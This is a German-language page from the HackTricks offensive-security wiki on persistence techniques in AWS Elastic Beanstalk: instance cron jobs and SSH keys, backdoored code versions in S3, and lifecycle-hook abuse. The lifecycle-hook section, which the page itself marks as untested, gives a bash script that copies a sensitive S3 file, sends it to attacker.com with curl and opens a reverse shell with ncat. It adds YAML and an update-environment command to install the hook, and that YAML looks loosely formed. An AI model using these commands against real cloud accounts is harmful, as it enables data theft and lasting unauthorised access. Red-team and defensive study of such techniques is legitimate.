AWS - Elastic Beanstalk Persistence

Unterstütze HackTricks

Elastic Beanstalk

Für weitere Informationen siehe:

AWS - Elastic Beanstalk Enum

Persistenz in der Instanz

Um die Persistenz innerhalb des AWS-Kontos aufrechtzuerhalten, könnte ein Persistenzmechanismus innerhalb der Instanz eingeführt werden (cron job, ssh key...), sodass der Angreifer darauf zugreifen und IAM-Rollen-Anmeldeinformationen aus dem Metadatenservice stehlen kann.

Backdoor in Version

Ein Angreifer könnte den Code im S3-Repo mit einer Backdoor versehen, sodass immer seine Backdoor und der erwartete Code ausgeführt werden.

Neue backdoored Version

Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue backdoored Version der Anwendung bereitstellen.

Missbrauch von benutzerdefinierten Resource Lifecycle Hooks

TODO: Testen

Elastic Beanstalk bietet Lifecycle Hooks, die es ermöglichen, benutzerdefinierte Skripte während der Bereitstellung und Beendigung von Instanzen auszuführen. Ein Angreifer könnte einen Lifecycle Hook konfigurieren, um periodisch ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Unterstütze HackTricks

Last updated